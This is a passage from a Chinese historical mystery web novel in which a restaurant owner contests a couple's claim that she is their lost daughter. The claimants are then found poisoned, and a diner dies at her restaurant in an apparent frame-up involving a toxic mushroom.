“这点小事用不着您。”韩泽道。 “行,我在家哄孙子,你们快去快回。”韩父来到床边,看着孙子满脸的慈爱。 因为天气逐渐转冷,姚轻雪很少抱韩曜去前院,韩祖母想孩子都得来东院。而韩父就不大方便了,所以他不像韩母每天都能看见孙子。孙子胖了、长大了一点等等,都是从妻子和女儿口中得知。现在让他看着韩曜,他可是乐不得呢。 说话的功夫姚福、刘氏和芽芽已经到了。府尹大人在等着他们过堂,不好在家耽搁太久。姚轻雪便在路上将事情告知爷爷奶奶。 刘氏惊得嘴巴张得老大,“怎、怎么还惊动了刑部?” “奶奶!”姚轻雪抓着刘氏的手,转头看姚福,“爷爷,到了堂上大人问什么你们照实说便可,剩下的事交给我们。” “雪儿!”刘氏紧紧抓着孙女,“我今早眼皮就跳,总觉得心里不踏实。” “没事,爷爷捡到我葫芦巷的邻居们都知道,她想诬陷也没那么容易。” 姚福拿出一个包袱,“这里是当时包你的小被子和你穿的衣服。” “你们还留着?” 刘氏道:“我想扔来着,但总觉得不该那么做。反正也不占地方,就压在箱子底下了,一压就压这么多年。要不是有这事我都快把这东西忘了。” 姚轻雪解开包袱,里面装着灰褐色的小被子和巴掌大的灰色小衣裳。质地粗糙,就是寻常百姓常用的布料。 他们到时,府尹柳大人已经坐在公堂上了。 “韩少卿!”褚景尧似笑非笑地看向韩泽,“好久不见近来可好?” 韩泽面无表情:“多谢褚大人惦念,本官很好。”心里却道昨日他才去的刑部,与这厮一起讨论案子。 姚轻雪看着这人感觉眼熟,但一时想不起来在哪儿见过。 褚景尧对她颔首:“韩少夫人,我们又见面了。” 见她面露茫然,褚景尧笑道:“韩少夫人贵人多忘事。”他指了指自己的手臂,“这里受伤。” 经他提醒姚轻雪忽然想起来了。那次买菜被人追杀,她从巷子里跑出来碰见的就是眼前这人。当时若不是杜七极力阻拦,这位褚大人就要把她带走。 “原来是褚大人!”姚轻雪颔首。 “咳咳。”坐在上头的京兆府尹柳锦程出声提醒都别闲聊了,赶紧干正事吧。 韩泽对上拱了拱手,然后坐到左侧的凳子上。共有两个凳子,想来是给大理寺少卿夫妻准备的。但姚轻雪没坐,而是把刘氏按到凳子上。 “这怎么行?”刘氏想起来,姚轻雪按着她肩膀不让她动。“没什么不行,咱们又不是犯人,您身体不好不能久站 。” 府尹看了一眼他们,然后对手下道:“把张四夫妻带上堂来。” 褚景尧坐在大堂右侧看向对面四人。韩泽和衣着朴素的老妇坐着,他夫人和老翁站在他们身后。看样子姚轻雪对养育她长大的两位老人很好,却不愿认亲生爹娘,还被闹得人尽皆知,也不知韩泽心里有没有怨言。 很快张四与妻子张杨氏被带上来。姚轻雪冷眼看着他们。张杨氏碰上她的目光赶紧低下头。张四偷偷往两侧瞧,当看见姚轻雪时愣了一瞬,而后快速低头。 韩泽眯了眯眼,他常年与犯人打交道,从眼神和神态便能判断出此人说话是真是假,这夫妻两个目光躲闪看上去很心虚,看雪儿的眼神也没有一丝温情。 “啪!”柳大人把惊堂木一拍,张四夫妻腿一软便跪在地上。 “张四,你有证据证明姚轻雪是你夫妻的女儿可属实?” “是。”张四把随身带过来的包袱打开。 姚轻雪看见他拿出来的东西心里一惊,只见张四拿出来的褥子跟奶奶包袱里的小被子一模一样。刘氏看见那条褥子心也跟着一哆嗦,下意识抓紧膝上的包袱。 只听那张四道:“孩子丢时用的被子与这条褥子一起做的,敢问姚福包着我孩儿的被子是不是跟这褥子一样?” 刘府尹:“姚福、姚刘氏!这条褥子你们可认得?” 刘氏紧紧攥着手里的包袱不开口,姚福心里很慌。他把被子拿来是想堵别人的嘴,却没料到成了对方的证据。 “姚刘氏!本官问你,这条褥子你可认得?” 事到如今已经没法隐瞒了,姚轻雪道:“大人莫怪,祖父祖母不曾来过衙门,有些胆怯。”她拿起奶奶腿上的包袱走到案前。“这是祖父捡到我时包着我的被子和衣服,请大人查验。” 姚福走上前跪在堂上,“回大人的话,草民、草民捡到雪儿时身上包着这条被子,但是这不能证明雪儿就是他们的孩子。” 姚轻雪俯首:“大人!这样的被褥在寻常百姓家并不稀奇,家家都用这样的布做被子做衣服,并不能作为有力的证据。况且当年这条被子我用了许久,见到的人着实不少,被有心人利用也有可能。” “你这话的意思是我们拿条假褥子来骗你?”张杨氏抹着眼泪,“你怎么能这么对我,我们才是你亲生的爹娘啊!是姚福偷走了你。” 姚轻雪冷笑,“有些话想清楚再说,不然我怕最后不好收场。” 张四道:“亲生爹娘就在眼前你不认,却要认贼作父,你这个不孝女。” “贼?谁是贼?爷爷当年捡了我葫芦巷所有人都可以作证。”姚轻雪沉着脸道,“事情在有定论前别乱叫什么女儿,我不是你们女儿,我也不会有恩将仇报的爹娘。” 原本她还想认下息事宁人,但这二人的做派着实令人作呕。若认了这爹娘可太糟心了。 “贼,你才是贼。”刘氏炸了,“莫说你们两个这德行生不出雪儿这样的女儿。即便是我也不让雪儿认你们。把那么小的孩子扔在雪地里,街上行人都没几个,不就是盼她死吗?若不是我家老头子把人捡回来,雪儿她、” 刘氏哽咽着说不下去。姚福再叩首:“大人,雪儿确是我从雪地里捡回来的。当年草民在那附近打听了许久谁家丢孩子,结果一无所获这才收养雪儿为孙女。这人说我偷了她家孩子实属诬陷,我孙女也不是他们的女儿,还望大人替草民做主。” “你说捡就是捡的?”张杨氏道,“谁看见你捡了孩子?若是你捡的,那谁从我家把孩子偷走的?” “证据就在眼前你都不认?”张四冲姚轻雪大叫:“你富贵了,就不想认亲生爹娘了?若是让人知道你六亲不认,看谁还去你的酒楼吃饭。” 他这话让堂上众人都皱了下眉,哪有亲爹盼孩子倒霉的? “啪!”柳府尹拍下惊堂木,“本官问你话了吗?” 张四缩了下脖子,不敢再呛声。 在他们争论时,柳锦程已让人把被褥做了核验。检查的人道:“禀大人!光从布料和年份上难以确定两条被褥有关联,这种料子和颜色寻常人家常用。不瞒大人说,我家早年也用这种布做衣服。” 一听褥子不能作证据,张扬氏忙道:“还有,我还有证据,我女儿这里有颗黑痣。”她抬手往自己左胸口比划了一下。 这下韩泽都心惊了,姚轻雪身上哪里有痣他最清楚。 “我们就是你亲生爹娘,还不认?”张四胆子又大了起来,言语中透着兴奋,“你胸口的痣、” “啪!” “啊!” 一记响亮的耳光,随即是一声惨叫。张四捂着左脸瞪大眼睛,惊恐地看着眼前的男人。 “本官的夫人也是你能侮辱的?再敢胡言乱语别怪我不客气。” 这话是威胁也是警告,再加上韩泽脸色阴沉,看着就让人心里发怵。张四毫不怀疑,他若还嘴,眼前的男人会毫不犹豫再给他一下。张四没敢吭声,而是求救似地看向坐在右侧的刑部官员。 褚景尧看够了热闹,终于开口说话:“韩少卿!消消气,动手打苦主着实不妥,小心柳大人治你的藐视公堂之罪。” 柳锦程但笑不语,韩泽打人他也不吭声。他心里想的是要是打几下能打明白反倒省事了。 韩泽冷笑,“褚大人能容忍他人亵渎尊夫人?” “那不能忍。”褚景尧看了一眼张四夫妻,而后又看向对面,“韩少卿!既已提出尊夫人身上隐秘处的特征,若是不能验明正身怕是难以服众。” 第116章 第116章择日再审 韩泽看向褚景尧的目光透着寒意。 “韩大人,并非我有意为难,你应该清楚,不验身此事便过不去。”褚景尧直视着他。 就事论事褚景尧说的没错,但暴露妻子隐秘处对男人来说是侮辱。但这事又无法隐瞒,即便他们不认,府衙也有专门验身的婆子。 姚轻雪叹口气,主动走上前:“我心口处确有颗痣。”她指了指左边靠近肩胛的位置,“不过我这颗痣也不是什么秘密,我虽为女子但幼时家贫,穷人家的孩子没有那么多讲究。我在六岁前夏日炎热时都穿无袖的衣服在巷子里玩耍,莫说葫芦巷的邻居,就是一同玩耍的男孩子也见过我身上的痣。” 刘氏狠了狠心,相比名声她更不希望孙女有这样的爹娘,何况那都是小时候的事了。她起身跪在地上,“大人,我孙女说的是实情。这孩子捡回来后身子一直都不大好,长得又小又瘦,我夫妻二人把他当男孩子养,总让他出去跟别的孩子玩。” “那时家穷,夏天为了省块布布料也为了凉快,孩子的胳膊腿全都露着。您可以去葫芦巷打听,那些看着雪儿长大的邻居们都看过孩子身上的痣。小时候还有人打趣说小丫头胸怀大志呢,民妇一直记得这句话。” 柳府尹:“这么说来这个特征的确不能当做证据。” “孩子是我身上掉下来的肉,她身上有什么我这个当娘的最清楚。若是这都不算证据,那什么算?这不欺负人嘛。”张扬氏小声抽泣。 “二位寻女心切我十分理解,不过仅凭你们所说无法证明我是你们的女儿。”姚轻雪看向张扬氏和张四:“不如滴血验亲,若我真是你们亲生的,血脉相连我们的血定能融在一起,届时我会置办大宅子、买下人、准备好钱财,奉养二位以尽孝道。” 张扬氏也不哭了,看向姚轻雪的目光透出兴奋。张四也差不多,尽管他极力克制,也难以掩饰眼中的贪婪。 柳锦程和褚景尧对视一眼都没有说话,滴血验亲骗骗无知的普通百姓可以。他们包括韩泽都不知办了多少这种案子。事实表明滴血验亲并不十分准确。有时亲生的血也无法融到一处,其中的门道谁都搞不清楚。 姚轻雪打的什么主意?她可不像是想要认下这二人 的样子。 “本官觉得此法可行。”褚景尧看向柳府尹:“柳大人意下如何?” 柳锦程:“既然张四与张杨氏无法提供其他证据证明姚轻雪是你们的女儿,那便滴血验亲吧。” 姚轻雪忙道:“还请大人择日再审。” 张四急道:“就是一碗水两滴血的事为何要择日?” 姚轻雪笑着道:“将我底细查得这般清楚,你应该知道我有一子。如今尚不足三月。正是吃奶的时候,我出来快两个时辰了,孩子在家怕是饿得嗷嗷叫了,我这个当娘的心疼。” “骗谁呢。”张杨氏撇嘴:“你还请不起一个奶娘?哪个有钱人家自己奶孩子。” 姚轻雪笑了笑,“奶娘自然请得起,只是我儿子脾气不大好,不吃奶娘的奶。每每将孩子交给奶娘都会哭得嗓子沙哑。二位为人父母应该懂得母亲对孩子的心,天大的事都不能让孩子受一点委屈。真的假不了,认亲不差一天两天。” 张四还想说什么,柳锦程忙道:“幼儿确实不能长久离开母亲,韩少夫人爱子心切可以理解。张四张扬氏!那孩子若是你们的外孙,你二人忍心看着孩子饿得哇哇大哭?” 两人互相看了一眼,张杨氏不情不愿地说道:“大人说的是,雪儿快些回去喂孩子吧,可别饿着我外孙。” “少说几句话都验完了。”张四嘀咕,但没人理他。 姚轻雪向柳府尹行了一礼:“多谢大人体恤。” 柳锦程:“快些回去吧,明日辰时正记得来滴血验亲。” 姚轻雪扶起姚福和刘氏,对张四和张扬氏笑着点了点头,便离开了府衙。 目送韩家马车走远,张四气道:“左推右推就是不想认,还搞什么滴血验亲。” “当家的,这可咋办?”张扬氏这会儿脑子清醒了,“滴血验亲就露馅了,咱们耍赖也没用啊。”一想到姚轻雪说的大宅子和银子得不到,张扬氏就觉得刀子割肉般心疼。“搞不好咱们得蹲大牢,那韩家不是好惹的。” 提到韩泽张四也怕了,在大堂上就敢动手打他,私下里还不得弄死他。“先回家,那位老爷说要帮咱们,他一定有办法。” 韩家的马车里,刘氏担忧道:“滴血验亲?万一、” “奶奶放心。”姚轻雪笑了笑,“融不到一起的。” 姚福急道:“若是你亲生爹娘,咋能融不到一起?府尹大人都没提,你提这个干嘛?咱们就咬死了不认,他们也不能怎么着。” 姚轻雪没有解释,只好安慰他:“爷爷您放心,他们不是我爹娘,血不可能融到一起。” 把姚福和刘氏送回家,车里只剩下他们两个人。韩泽问她:“为何这般坚信血不能融合?你有法子让血不融?” “使些小伎俩人血和狗血都能融到一起,想要不容自然也做得到。” 人血和狗血也能融合?韩泽眯了眯眼:“说来我听听。” 姚轻雪便把她知道的器皿加热或是冷却可以让血液融合或凝固,“往水里加碱、盐或醋都会加速血的凝固,两滴血根本来不及融合便凝结了。所以明日想要血不融,得需要府尹大人暗中支持。” “府衙那边我来安排,待会我再去府衙。”韩泽看向姚轻雪,“你从哪里知道这些旁门左道?” “什么叫旁门左道。”姚轻雪斜眼看他,“但凡有用的东西都有它存在的道理,韩大人孤陋寡闻也就罢了,万不可做那坐井观天的浅薄之人。” 韩泽摸摸鼻子,“是我说错话了,夫人别跟我一般计较。那么夫人可以告诉为夫你如何知道这些的?” “经验之谈,我做厨子这么多年,猪血、鸭血、鸡血都做了不知多少,有时需要让血快些凝固,有时又需要慢些,试了几次便知道了。”姚轻雪十分真诚地看着韩泽的眼睛,“你知道的,我的想法总是比旁人多。” 韩泽看着她沉默不语,姚轻雪心里有些发毛,还好很快到家了,她赶紧跑回屋看儿子。韩曜看见她嘴巴一撇,“哇”地就哭出来。 早上走得急,姚轻雪没来得及留奶水,小家伙饿了两个来时辰,可是委屈坏了。韩母把孩子塞进她怀里。她和丈夫儿子去了隔壁房间。韩泽把府衙发生的事讲给他们听。 韩母气道:“岂有此理,谁给他们的胆子辱我韩家儿媳。” 韩父:“明日打算怎么办?滴血验亲若是做了那就没有转圜的余地了。”血要融在一起,这亲认也得认不认也得认。 之前韩泽的确担忧,但听了媳妇的话后他就放心了。不管她给自己的解释是真是假,她说的那几种法子大概都是真的。姚轻雪不会在这种时候开玩笑。“我自有办法。” 和父亲母亲说了几句话,韩泽便回到卧房。刚进门就听见韩曜哼哼唧唧使劲嘬奶的声音。他走到床边戳戳儿子的小脸。 突然想到什么,韩泽伸手把姚轻雪的衣服往上撩。 姚轻雪:“……” 还不等她反应,韩曜先不干了,以为他爹要跟他抢吃的,抬手扒拉韩泽的手,嘴里还发出“嗯嗯”声。 韩泽勾起嘴角,坏心眼地把头伸到姚轻雪胸前。这下彻底把孩子惹急了,韩曜松开嘴,冲他爹:“啊!”地一声。 韩泽笑出声来,按住儿子的小手,把媳妇的衣服解开,左胸上边的痣便露了出来。这颗痣差不多与腋窝齐平,说起来也不算多隐秘,穿抹胸就有可能会露出来。 他抬手摸了摸米粒大小的痣,幽幽道:“跟你一起玩的男孩儿都看过这痣?” 姚轻雪拍掉他的手,没好气道:“富贵人家的女孩讲究多,穷人家的孩子小时候有衣服穿就不错了,尤其是夏天露个胳膊腿有什么稀奇?那时都是三四五六岁的孩子能懂什么?这个你也要计较,小心眼。” 韩泽不悦:“小时候不懂,现在却还有人记得。”还拿出来在大堂上说道,放在别人家男人身上早就炸了。 “我猜那两个人是找了葫芦巷或是与我家相识的人打听了。”姚轻雪想了想,“从小到大认识的人太多,想不到谁会把这事说出去。” “明日过后一审便知。我已让人跟着张四夫妻,那二人背后若有人指点,今日下堂后定然要联系。”韩泽将姚轻雪衣服合拢,又捏了捏儿子的小脚,“我去上直了。” 那些让血不融的法子,他得挨个试一试才放心。若是都得到验证,对他日后办案大有裨益。韩泽迫不及待地想要看看结果。 韩泽这一走直到亥时末才回来。姚轻雪听见动静便起身下床。“怎么这么晚?饿不饿,灶房温着饭菜,要不要吃些?” “不了,在大理寺吃过了。”韩泽脱掉外衣,“这么晚了怎么还不睡?” 姚轻雪接过衣服替他挂起来,“你不回我哪里睡得着,事情办得如何?” “都安排好了,你就把心放到肚子里吧。”韩泽看着满脸担忧的人,“我的人在张四住处打探过,二十年前他们确实丢过一个孩子。” “那、”姚轻雪的心提了起来。 “你不是。”韩泽将她垂下的头发别到耳后,“据邻居说张扬氏生的是男孩,你不可能是他们的孩子。邻居的口供已经拿到,明日验血之后便将那二人绳之以法。” 姚轻雪双手环住他的腰,把脸贴在男人的胸口蹭了蹭。屋里烧着地龙,温热的体温透过薄薄的里衣传过来,韩泽只觉得一股邪火往下窜。他捏住媳妇的下巴亲了上去。正当他打算进一步时,只听床上传来哼唧声。 两人转头看床,只见韩曜砸吧着嘴,小脑袋左转右转,这是又饿了。韩泽叹气:“什么时候能分房睡。” 姚轻雪笑,“现在就能,不过是把你分出去。” 韩泽恨恨地把人掰过来又亲了几下,才放她去喂儿子。 次日吃过早饭,韩家的马车接上姚福和刘氏再次来到府衙。 褚景尧依旧来监审。 只是辰时已过却不见张四和张扬氏,柳锦程便派人去找那二人。 两刻钟后去寻人的衙役脚步匆匆地回来禀告:“张四和张扬氏已死在家中。” 第117章 第117章暴毙 死了?堂上众人皆是十分震惊,就连一向稳如泰山的韩泽都面露惊讶。他派去守着张四宅院的人说,昨日从那夫妻二人回家到现在并未与任何人接触。怎么会死? 姚轻雪也是觉得难以置信,昨日还好端端的两个人怎么突然就死了?而且还是死在上堂之前? 韩泽问:“怎么死的?何时死的?” “像是中毒,仵作没验尸属下不敢妄言,但属下看着他们的穿着与昨日无二,像是昨日回去不久人就死了。” “杀人灭口?”褚景尧神色凝重,他看向韩泽。“你可知这意味着什么?” 韩泽当然知道,在案件紧要关头被告人死了,第一怀疑对象便是姚轻雪或者是他。 柳府尹吩咐手下:“速速派人去验尸。” “我也去。”韩泽起身就要往外走。 “韩少卿!”褚景尧叫住他,“本案跟韩少卿的家人有关,你该回避。” 韩泽正色道:“我想知道是谁杀了他们。” “反正不是你,你急什么?” 韩泽眯眼:“你觉得是我杀人灭口?” “我不蠢,你也不蠢。”褚景尧似笑非笑低声道,“即便要杀也不是在这个时候。”说着他往外走,“避免节外生枝韩少卿还是不要接触案子为好,本官勉为其难替你走一趟。” “韩少卿!”柳锦程走过来,“尊夫人的案子审不了了,几位先回去吧。本官同褚大人一块去现场。” 韩泽拱手:“有劳!” 柳府尹也走了,他们只好先回家。 “怎么就死、死了?”姚福说话都哆嗦。 刘氏捂着心口脸色发白,她看孙女。“这可怎么办?这个关头人死了,别人得怎么说你啊?” “奶奶,不怕,咱们又没做什么,行得端做得正不怕人说闲话。”姚轻雪给刘氏揉心口,“柳大人和褚大人亲自去现场,相信很快便会查出真凶。” 刘氏小心地看一眼韩泽,“但愿吧。”她倒是不怕别人说闲话,就怕因为闲话孙女婿怪罪孙女,影响两个人的感情。 “早知道、”早知道昨日认下就好了,“哎!”姚福重重地叹口气。 “爷爷奶奶尽管放心,这事赖不到咱们头上,等府衙和刑部调查完便会水落石出。”韩泽又对姚轻雪道:“事情可能没有表面上这么简单,你们先回府,我回大理寺。” 韩泽半路下车,他把昨日看守张四宅院的两名护卫叫来。“怎么回事?不是说没人去过张四的宅子吗?” 护卫道:“大公子!我们不敢说谎,昨日到今早府衙去人前的确没人去过那宅子,张四夫妻也从未出过门。” 另一人道:“我二人怕他们偷溜,一人在远处看守前门,一人守着后巷。只有在天黑后才换着吃了饭,那期间属下也非常警觉,并未看见有人出入那宅子。” 韩泽沉默,据府衙衙役说那二人是昨日回去不久就中毒身亡,也就是午时左右。天黑后人早就死了。“你二人再去,听听府衙和刑部怎么说,然后去大理寺。” “是!”护卫领命而去。韩泽直奔大理寺。就目前的情况来看,张四夫妻背后一定有人指使,他不能光等着府衙和刑部查。 而此时,褚景尧和柳府尹已到达张四家中。狭窄的巷子被人群围得里三层外三层,柳锦程皱眉:“发现尸体到现在才几时?怎么会有这么多人?” 捕快:“大人,我们也不知道怎么回事。发现人死后我等即刻回衙门禀告大人,这里留人守着也没敢声张,谁知突然就来了这么多人。” 这时人群中传来议论:“张家人都死了。” “听说找到丢失的孩子了,好日子在后头呢,怎么就死了?有啥想不开的?” “认啥亲,那孩子如今富贵了不认穷爹娘。” …… 褚景尧听了几句便进了破旧窄小的院子。屋内昏暗阴冷,那张四夫妻倒在地上,手边是碎掉的水碗。 先来一步的仵作对柳府尹拱手:“大人!他们喝的水里有毒,且是剧毒,张四夫妻喝完水后很快倒地身亡,根本来不及走到院外求救。” 褚景尧道:“何时死的?” 仵作:“从尸斑上来看应是昨日午时左右。” “刚回来不久就让人杀了?”柳府尹遗憾道,“昨日该派人盯着。”话又说回来了谁能想到二人会被杀呢? 褚景尧:“未必没人盯着。” 柳府尹心领神会。 屋内除了水有问题,并未有其他痕迹,褚景尧和柳府尹没什么看的,便回了府衙。 褚景尧从府衙出来时,便让人去刑部知会一声。等他重新回到府衙,那人已经回来了。 “大人。”手下凑近了低声道:“属下在回来的路上听人议论饕餮楼东家拒认亲生爹娘,那可怜的夫妻二人突然暴毙,有人猜可能是姚轻雪暗中做的手脚。” 褚景尧嘴角微勾,“有意思。”他这边刚刚看完现场,谣言就传了出去。这速度比他骑马回刑部都快。韩泽这下有麻烦了。 姚轻雪回到家心里就不踏实,刘氏和姚福在将军府等消息,午饭也在韩家吃的。 午膳过后,姚轻雪在房里哄韩曜睡觉。不知不觉她也睡了过去。突然一个激灵惊醒过来,而后发现出了一身冷汗。 守在一旁的春佟担忧地问:“夫人,您怎么了?” “没什么,做了个梦。”姚轻雪起身,“什么时辰了?” 春佟回道:“快到未时正了。” 姚轻雪换了身衣服,去隔壁房间看姚福和刘氏。本想让他们午睡一会儿,但两位老人心里装着事哪里睡得着,都坐在桌边长吁短叹。 见刘氏脸色不大好,姚轻雪担忧:“奶奶您要不要紧?” “没事,歇一歇就好了。”刘氏摆摆手,“润青回来了吗?衙门有消息了没?” “还没有。”姚轻雪摇头,她心里也急,很想派人去问问韩泽,但她知道这个时候不能打扰他。“爷爷奶奶,你们回家歇着吧,衙门那边一时半会不会有结果,等有消息我去告诉你们。也不用害怕,那两个人死跟咱们没有关系,官府不会、” 她话没说完,就听香云在外面大叫:“不好了,少夫人不好了。” 随后传来春佟呵斥声:“小公子正在睡觉喊什么?什么不好了。” 姚轻雪打开房门,“什么事?” 香云:“饕餮楼出事了,吃死了人。” “什么?你说是什么?”刘氏和姚福从屋里冲出来,“香云姑娘你再说一遍。” “乔掌柜派人来说有人在饕餮楼暴毙。”香云急切道,“那人的婆娘非说是吃了饕餮楼的蘑菇中毒死的。” 刘氏眼一花跌倒在姚福怀里:“怎么会这样?” 姚轻雪身子一晃,还好她及时撑住门框,才没让自己倒下。 “少夫人!”秋月过来扶着她,转头问香云,“你没听错?是饕餮楼死了人?” 香云急得跺脚,“赵兴来说的,人就在前院。”赵兴是乔旺的手下,香云和雨 竹常去饕餮楼查账不会认错人。 姚轻雪缓了缓神,吩咐道:“春佟你把我爷爷奶奶送回家,请郎中给看看。”刘氏有心疾,今日接连受到刺激,她怕有意外,但此时也没有空暇顾她。 春佟:“少夫人放心,我定会照顾好老爷夫人和小公子。” “去饕餮楼。”姚轻雪让人把她的马牵出来。赤焰已经从一匹小马驹长成了高头大马。自从怀孕后姚轻雪一次都没有骑过它。 秋月担忧:“少夫人要不还是坐马车吧,慢不了多少的。” 姚轻雪没说话,翻身上马后一夹马腹,赤焰便冲了出去。等韩母从院里出来,枣红色大马驮着人冲出去老远。由于速度太快,马上的人差点栽下来,看得人心惊担颤。 寒风在耳边呼啸而过,吹得姚轻雪脸颊生疼,策马疾驰只是看着威风其实并不好受啊。原本马车要走将近三刻钟的路程,她仅用一刻钟便到了。 此时饕餮楼外全是人,伙计们在门前站成一道墙挡着想要靠近的人。徐成见姚轻雪来了,赶紧让伙计驱散人群,让出一条道。“东家!” “到底是怎么回事?” 徐成:“那人吃着吃着突然就口吐白沫倒地不起,片刻便没了气息。随后一妇人进来非说咱家的蘑菇毒死了他丈夫。” 两人边说边往里走,踏进饕餮楼门槛便听见妇人的哭声。而此时大堂内锅子冒着热气,桌上饭菜都还在,但却无一人享用。自从饕餮楼开业以来还从未出现过这样的情况。 “东家!”乔旺脸色十分难看,他指着地上躺着的人道,“这人死得蹊跷,我已派人去报官。” 姚轻雪往地上看,只见那人口吐白沫两眼外翻,而且脸上起了很多水泡,像是开水里滚过一回出来似的。“怎么是这个样子?” “这便是蹊跷之处。”乔旺脸色凝重,“咱家没有能引起这种症状的蘑菇。” “你就是东家?”妇人听见两人的谈话便止了哭声,而后向姚轻雪扑来,“你还我男人,我跟你拼了。” 第118章 第118章毒蘑菇 乔旺挡在姚轻雪跟前:“你男人因何而死尚未可知,休要胡言乱语。” 扑人不成,妇人跌坐在地上大哭。“饕餮楼草菅人命啊。” 姚轻雪正要开口,就听口外传来:“是谁说饕餮楼草菅人命?”一身官服的褚景尧大步走来。 官府来人竟是他,姚轻雪心中略感安心。虽然这位褚大人和韩泽并不亲厚,但她就是感觉褚景尧不是落井下石之人。 “褚大人!”姚轻雪颔首。 褚景尧面上带笑:“少夫人,没想到这么快就见面了。本官查案多年一日之中接连牵涉进两起命案的人少之又少,少夫人算是一个,您这运气也是好得很啊。” 面对褚景尧的调侃,姚轻雪惨笑道:“大人见笑了。”同时她也疑惑,牵涉两起命案是什么意思?张四的案子跟她有何关系?眼下也顾不上多问,眼前这桩若是处理不好,她怕是要身败名裂了。 “褚大人,这人死得蹊跷。饕餮楼所有食材都经过严格筛选,绝对没有能引起中毒的食材。就连相克的食物在客人点菜时伙计们都会提醒客人注意。我饕餮楼后厨有一张食物相生相克的名单,厨子和伙计们都倒背如流,绝对不会让客人中毒。” “我男人就死在饕餮楼,人就在这躺着呢,还能诬陷你不成?”那妇人看见一身官服的褚景尧像是看见了救星,跪在地上哭诉:“大人!饕餮楼吃死人不认账,晴天大老爷您要给民妇做主啊。” 褚景尧蹲下身看了看地上的尸体,然后招手,仵作便过来验尸。褚景尧随意扯过一条椅子坐下。“放心,若是饕餮楼的食物吃死了你男人,本官必定秉公执法给你一个交代。” “你叫什么名字,你男人又叫什么?”褚景尧的手下拿出本子记录。 妇人道:“民妇叫顾春桃,我丈夫叫苏绒。” “你丈夫之前可有隐疾?” “没有,我丈夫身体好得很,极少生病。” 姚轻雪:“大人!我有话要问顾春桃。” 褚景尧看了看她,“可以。” 姚轻雪微微躬身表达谢意,而后转向顾春桃:“你和你丈夫做什么营生?” 顾春桃没想到她会问这个,愣了一下后道:“你问这个做什么?我丈夫死在你们酒楼,你不给个说法,问无关紧要的到底要干什么?” 姚轻雪对褚景尧道:“大人,这夫妻二人虽衣物崭新,料子也不错,但他们的手却粗糙得很,尤其是死者手部皲裂,想必以做体力活为生,我不得不怀疑他夫妻二人故意讹诈。” 褚景尧脸上笑容不变:“姚东家说的有理。”然后对妇人道:“顾春桃,你告诉本官你和你丈夫以何某生?不要撒谎,过后本官会派人核查。” “民妇不敢。”顾春桃把头抵在地上,“我和我男人都是老实本分人,我家儿子才八岁,我们再贪财也不可能用命去讹她啊,还请大人给民妇做主,我男人死得冤。” 褚景尧的手下不耐道:“问你什么就答什么,你丈夫若是冤死,我家大人定会为你做主。” 顾春桃缩了一下脖子后老老实实回道:“我丈夫在粮铺做事,我在家带孩子,顺便给人浆洗衣物赚些散钱。” 姚轻雪问:“敢问他工钱几何?” 顾春桃顿了顿道:“九百文钱。” “也就是说你夫妻二人每月最多不过赚二两银子,对吗?” 顾春桃迟疑了下点头:“是!” 姚轻雪从旁边桌上拿了一盘虾给她看:“你可知这一碟海虾多少银子?” 顾春桃茫然地摇了摇头。 “这是商队日夜兼程昼夜不休从海边运到京城的稀罕海物,这几只就要三百文。你给人浆洗衣物每月能赚三百文吗?” 不等顾春桃回答,姚轻雪指着还冒着热气的锅子和满桌的狼藉道:“而你丈夫把饕餮楼最贵的菜点了个便,这一桌粗略算就要二十两。你丈夫竟然舍得用一两年的进项吃一顿饭,你说这合理吗?” “那是,那是、”顾春桃支支吾吾不知该怎么说。 “大人!”姚轻雪看向褚景尧,“苏绒必定抱着必死的决心,知道自己今日无论点了多少,最后都不用付银子,才这般无节制点了诸多贵的食物。我怀疑有人故意栽赃陷害饕餮楼。” 顾春桃大叫:“胡说,你怎么能这么说他,我男人死了,被你们的蘑菇毒死了。” “桌上这么多菜,好几种都是京中少见的稀罕物,你怎知你男人就是中了蘑菇的毒?”姚轻雪眼神凌厉地看向顾春桃。 “不是蘑菇还能是什么?我听说有人吃蘑菇死了。”顾春桃强硬道。 姚轻雪:“据我所知食用菌子中毒的症状大多是呕吐、腹痛也可能陷入癫狂,轻者会逐渐痊愈,重者吃尽苦头方才死去。而你丈夫从毒发到死亡不过一刻钟,这不合常情。” 顾春桃急道:“谁知道你哪来的毒蘑菇,你说的那些我不懂,我只知道我男人吃了你们饕餮楼的东西死了。” 姚轻雪没有跟她争辩,而是对褚景尧道:“饕餮楼所有食材均经得起检验,还望大人明察。” 乔旺忙拱手:“人死后我便让所有人退出饕餮楼,这里的饭菜和后厨都没被人动过,大人尽管查。” 褚景尧慢悠悠道:“不急,一样一样来。” “大人!”仵作上前禀告,“死者确是中毒而死,目前还无法确定所中何毒,死者用过的器皿、饭菜乃至锅里的热汤都未验出毒。至于这盘蘑菇有没有毒还得带回去进一步查验。” 仵作将**桌上泡发的蘑菇端过来,“这盘中的蘑菇不是一种,问题可能出在蘑菇上,但卑职一一试过银针并未变色,得带回衙门进一步检查才能知道结果。” 乔旺想上前看,被衙役伸出佩刀拦住:“站住,你要做什么?” “大人!”乔旺拱手,“可否让我瞧瞧?饕餮楼的干货都是我去采买,蘑菇种类我一清二楚。” 衙役见褚景尧点头便撤回手。乔旺走上前仔细看仵作手中的盘子。苏绒点的是菌菇拼盘。冬季没有新鲜蘑菇,所以这盘都是干蘑菇泡发的。有香菇、羊肚菌和红菇。 这一盘蘑菇几乎没动,而在几颗红菇中夹杂着一颗颜色更深的。乍一看和红菇很像,但仔细瞧便会发现些许不同。蘑菇伞上有点点凸起,若是不仔细瞧完全发现不了。 “这不是红菇,饕餮楼从来没有这样的蘑菇。”乔旺指着那颗不一样的蘑菇道。 仵作也凑近了瞧,“嘶,好像是不一样。不过如此相像,无意中混进去的也说不定吧。” 这也是有可能的,所以乔旺没有言语。 姚轻雪道:“山里的孩子都知道什么样的蘑菇有毒,山民采摘蘑菇多年,比任何人都清楚毒蘑菇的样子。绝对不会把有毒的蘑菇混进来。另外,这盘中仅一颗,不知道苏绒吃了几颗,怎么就这么巧,混进来的毒蘑菇都集中到一个盘子中?” “对呀。”乔旺恍然大悟,“照苏绒的死法定是吃了不少,若不是有人故意为之,怎么可能所有毒蘑菇都在一个盘子里。大人此事有蹊跷,望大人明察。” “查,一定要查。”顾春桃往地上哐哐磕头,“大人您一定要查明白,可不能他们说什么就是什么,民妇的男人死得冤。” 这时门外进来一人,姚轻雪心中一喜,随即又有些酸涩。 “韩少卿止步!”褚景尧站起身看向门口,“证物在此韩 大人莫要再往前了,不然对姚东家没有好处。” 